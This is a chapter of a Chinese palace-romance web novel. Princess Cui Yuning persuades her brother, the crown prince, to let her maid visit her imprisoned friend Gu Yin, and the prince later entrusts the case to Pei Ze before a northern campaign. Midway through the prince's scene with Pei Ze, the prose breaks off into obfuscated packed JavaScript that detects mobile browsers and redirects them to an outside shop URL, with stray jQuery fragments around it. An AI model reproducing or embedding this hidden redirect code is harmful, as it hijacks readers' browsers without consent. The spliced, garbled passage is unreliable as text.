崔璟祁一路往东宫走,听完喜乐的话后沉默片刻才吩咐道:“叫晏宁公主过来找孤。” 喜乐应了一声,以为是太子要知晓公主动向,犹豫片刻开口说:“殿下,公主的确快有小半月没来找您了。” 崔璟祁闻言蹙眉:“这么久了吗?” 最近一段时间他忙着处理北疆的事,因为旱灾,北疆那边也蠢蠢欲动,估计在冬日之前会有一战。往常她隔三差五就来东宫蹭饭,叽叽喳喳吵得他头疼,这些天安静下来,他竟然也没觉得哪里不对。 没想到放任崔玉凝自己处理事情就变成这样了,堂堂公主被人摆了一道。 喜乐往前一步压低声音说:“殿下,青酒那边说公主这会儿正在见那顾三小姐的外祖母……” 很多话不用说完崔璟祁就够头疼的了,他的眉头皱的更深了:“你先去接她吧,务必在她去京兆府之前带来东宫。” 事情闹这么大,若是顾因能洗清冤屈还算好,若是不能……叫崔玉凝眼睁睁看着自己帮过的人被判了重罪,以她那性子还不知要闹成什么样。 更麻烦的是她自己已经掺和进去了,到时候御史的折子一递,还不知道要怎么样呢。 20. 太子约谈 崔璟祁的传唤对崔玉凝来说是刚刚好,她正好想找崔璟祁给她出出主意。再加上一会儿从东宫出来后再去京兆府,刚好叫京兆府尹猜到这是太子的意思。 她可想借太子的势了。 到东宫的时候小太监说太子不在,她只好跟着小太监在书房等着。 崔璟祁的书房她来过好多次,每次来都不自觉被他书架上的书吸引,这里有很多游记,甚至还有跟漫画似的书,特别有意思。 她随手抽了一本翻了两页,也不知道是不是因为心里揣着事,这书她一点都看不进去。 她坐不住起身转了两圈,左右等不来崔璟祁。她叫璎珞去前面问问,可不等璎珞出门崔璟祁就来了。 “阿兄——”崔玉凝一看到崔璟祁就开始撒娇,声音拖得老长,脸上堆着笑凑上去,完全一副努力讨好哥哥的乖乖公主样,“妹妹的朋友出事了,妹妹想去看看她。” “不许。”崔璟祁拒绝得非常果断,连眼皮都没抬一下,心里想的却是自己特地晾了崔玉凝这么久,怎么她还是什么都没意识到。 “可是顾因很可怜的!”崔玉凝跟上去,趴在书案边上,声音里带了点急,“她被她父亲还有继母陷害了,要是没人帮她她就要被流放了。” 虽然恶逆在大晏是重罪,不过因为梅氏并非生母加上皇帝宽容,所以至多就是流放。可流放是什么概念?一个娇滴滴的姑娘,被押着走上几千里路,能不能活着到都是两说。 思及此崔玉凝想起来自己以前看过网友发的“宁古塔”的冬天,忍不住打了个寒颤;又想起来岭南的潮湿闷热…… 崔玉凝不敢再想下去了,如果她叫女主跑到这些地方去,那她就是罪人啊! 崔璟祁不理会她,只是一味拒绝,反正崔玉凝认定的事情讲道理是讲不通的。 崔玉凝见撒娇没用,直起身来,看着崔璟祁的侧脸琢磨了一会儿。她其实知道他在担心什么,无非就是皇家的体面、御史的折子、她这个公主的名声。 “妹妹不亲自去,叫璎珞过去,绝对不暴露身份。”崔玉凝退而求其次,想找到一个大家都满意的解法。 崔璟祁没有直接拒绝。 崔玉凝一看有戏,立刻趁热打铁:“璎珞你知道的,嘴严,办事也利索。就让她去牢里看看顾因现在什么情况,问问清楚到底怎么回事,顺便把人保一保。你也知道大牢条件差,娇滴滴的小姑娘进去不死也要耗掉半条命。” 见崔璟祁还是不肯松口,崔玉凝继续补充:“而且京兆尹跟顾越关系很好,万一他们要屈打成招怎么办?!” 崔璟祁似乎也想起来很多类似的安利,思忖片刻就点头同意了。 “好,不可以暴露身份。”他放下折子,终于开始给崔玉凝讲道理,“你要知道,皇室是不可以插手臣子家事的,尤其是父告子的案件,你更应该离得远远的。” 崔玉凝点点头,按下心头无奈,她并非不能理解,每个人都有自己的立场,作为她自己也喜欢明哲保身。 只是面对女主的未来,什么都不做真的是好选择吗? 应该不是的。 崔玉凝决定跟崔璟祁坦白。 “阿兄,我还有一件事要跟你说,关于顾因的。”她斟酌了一下措辞。她不能说什么“这个世界是一本书”“顾因是女主角”之类的话,那只会被当成失心疯。得编个能让人接受的由头。 “什么?”崔璟祁不甚在意地应了一声,大概是觉得所谓事情不过就是一些女儿家的小事。 崔玉凝深吸一口气:“之前我落水那次,做了个梦,梦见顾因了。” 这句话引起了崔璟祁的注意,居然不是为自己的闺中密友说好话:“如何?” “梦里她同裴则成了夫妻。”崔玉凝隐去了自己嫁给裴则后又死亡的信息,直接跳到结论,“所以……” 还不等崔玉凝把话说完,崔璟祁就忍不住插话:“所以这就是你不想嫁给裴则的原因?” 他说完还深深叹了口气,不知道自己的妹妹到底梦见了什么才会如此忍让。 “所以顾因很重要,”崔玉凝没有接他的话茬,自顾自说下去,“她是个好人,我想帮帮她。” 崔璟祁根本就没法接受这个莫名其妙的理由,眉头拧成一团:“可是裴则原本就应该是你的驸马,为什么要让?” “这不是让!”崔玉凝急了,声音都拔高了几分,“我本来就不喜欢裴则了。” 两个人的话题渐渐跑偏,从顾因的事变成了裴则的事,又从裴则的事变成了“你到底为什么这么倔”。 崔玉凝被逼得没办法,嗓门越来越大,直到最后她实在辩无可辩,脱口而出:“崔璟祁,我不想死,也不想你死!” 书房里一下子安静了。 崔璟祁看着她,没说话。窗外的蝉鸣声忽然变得很响,一声一声灌进来,吵得人耳朵疼。 他移开目光,拿起桌上的折子,语气平淡得像在说今天天气不错:“去吧。叫璎珞去。” 崔玉凝愣了一下,张了张嘴想说什么,最终只是“哦”了一声,乖乖退了出去。 璎珞去了京兆府的大牢,还带了崔璟祁的人陪同。有了崔璟祁的帮助,使点小权力也很方便,至少叫顾因吃饱穿暖了。 …… 崔玉凝走后,崔璟祁立刻放下折子,朝门外喊了一声:“喜乐。” “在。” “去把裴则叫来。” 他这个人有一个优点,那就是崔玉凝出了什么事他绝不会放过裴则。 很多崔玉凝做的事裴则不知道,很多裴则做的事崔玉凝不知道,可是他什么都知道。 裴则被叫来东宫的时候才刚刚下值,官服还没换,一进来就被崔璟祁那副表情看得莫名其妙。 太子有特权他可没有,下值了还得被拎过来,他在心里默默叹了口气,要不是君臣有别,他真想问一句“又怎么了我的大少爷。” “裴聿修,你跟顾因是什么关系?!”不用感到奇怪,崔璟祁一直都是这个风格,喜欢诈人。 裴则只觉得莫名其妙,眉头微微皱起:“谁是顾因?” “顾家三小姐,你前些日子在凝儿那里见过的。”崔璟祁轻咳一声,神情稍稍缓和了些,但语气还是硬的。 裴则认真回想了一下,摇了摇头:“没关系,也没说过几句话。”那天在公主府他统共没待多久,跟那位顾家小姐也不过是打了个照面,连寒暄都算不上。 崔璟祁是个很没有耐心的讯问者,或者说因为对象是裴则,所以他的耐心消失了。 他靠在椅背上,手指在扶手上敲了两下,直接下命令:“那你给孤把这件事办好了。” 他不能出面,但裴则可以。裴则是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382076|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个聪明人,前因后果比他更清楚,更没必要指导他该怎么做。 谁承想裴则居然没接这个茬,反而说:“公主应当有自己的解决方法,殿下不要事事都插手,要放手叫公主自己去做。” “她还小。”崔璟祁下意识反驳。 “她已经十六了。”裴则的语气不重,但每一个字都说得很清楚,“她很聪明,也有能力,她能解决问题。” 崔璟祁听到别人夸自己妹妹一点也不高兴,想起来刚才崔玉凝那副傻样,毫不犹豫对自己这个“准妹夫”说了:“方才孤故意晾着她好叫她知道孤的意思,结果她连猜都不猜,还一个劲儿撒娇,这就是你说的长大了?” 说完还特别不服气地“哼”了一声。 裴则轻笑一声,兄妹俩一贯如此。 反而崔璟祁冷静下来,“可这件事非同小可,孤近日可能要出征北疆。” 裴则一愣。 崔璟祁看着他,慢慢说下去。南方旱灾影响的不只是南方,北疆食物同样短缺,草原上的人活不下去了就会来抢,大抵会在入冬之前来犯。父皇的意思,他作为储君需要肩负起责任。 顾因一事即便关注的人众多,可一道道程序下来至少也要几个月才能有结果。那个时候他是否还在京城,尚且不好说。 保护崔玉凝的人很多,可是恨崔玉凝的人也不少。 他要把这件事托付给一个值得信任的人,除了裴则,他想不到其他人了。 即便不愿叫他做驸马,可是兜兜转转又只剩他了。 裴则听完崔璟祁的话皱起了眉,他想不通为什么偏偏是太子去,明明有镇国公在北疆就够了,再不济派二皇子去就是了。 崔璟祁似乎看穿了裴则心中所想,绕到裴则身边拍了拍他的肩膀:“别想了,崔景珩去不了。” 知道太子的决定后,裴则沉默了一会儿,终于点了点头:“好,臣会照看好公主的。” 两个人又就其他事情商量了几句,临了崔璟祁突然想起来方才崔玉凝失声喊出的那句话。 他看向裴则,目光沉了沉,忽然开口:“凝儿不想叫我去北疆,你不要将此事告诉她。” 裴则微微一怔,眼底闪过一丝诧异。崔玉凝向来不关心任何国家大事,连南方旱灾这么大的事她也后知后觉,怎么会突然提到北疆。 幸好崔璟祁很快就给他解惑了:“之前温岁的周岁宴上,凝儿瞧见了二驸马偷偷同人谈事,她说与孤有关。” 事关太子的家人,裴则不敢插话。 “聿修啊,你说说孤的姐夫这是要做什么呢?” “臣不敢妄言。”裴则低头。他最怕皇家的人问他这些事了,他一句也不敢说,他们是一家人,他就是个炮灰。 听到这话太子忽然爽朗地笑出声,“你将来是孤的妹夫,也是孤的家人。” 过了好一会儿,裴则也没接话。 “凝儿似乎很害怕孤会死去……”说到这里崔璟祁顿了顿,“你说……” 裴则眼皮一跳,不等他把话说完就赶紧接上:“太子殿下洪福齐天,定会长命百岁!” 虽然他跟太子一起长大,但是他听祖父说过先帝就是常常问这个问题,最后还吃什么“仙丹”,所以叫他一定要注意,在君主问出这个问题的时候一定要夸他们长寿。 这还是他第一次学以致用。